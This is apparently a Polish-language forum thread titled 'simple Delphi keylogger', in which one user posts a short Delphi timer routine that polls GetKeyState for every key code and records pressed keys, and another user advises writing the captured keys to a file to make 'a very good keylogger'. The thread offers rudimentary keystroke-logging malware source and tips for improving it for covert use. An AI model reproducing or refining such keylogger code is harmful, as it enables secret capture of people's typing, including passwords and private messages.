prosty keylogger Delphi

[Wojass]

najprostszy key logger jaki widzałem

, lekko zmodyfikowany kod uzylem w GGTv1.2,

procedure TForm1.Timer1Timer(Sender: TObject);

var 

pos, c : integer;

begin

for c:= 1 to 255 do begin;

pos := GetKeyState(c);

If Copy(IntToStr(pos),1,1) = '-' Then begin;

memo1.Text := Memo1.Text + chr(c);

end;

end;

end;

 

[s@S@n]

I takie coś powinno chodzić pod XP

 

[sc0rp10n]

He he

no jest prosciutki i skuteczny

boli minie te odwolanie do komponentu memo
zamiast tego przydslo by sie wstawic
assign ,open, write i close,
i mamy bardzo dobry keyloger
8)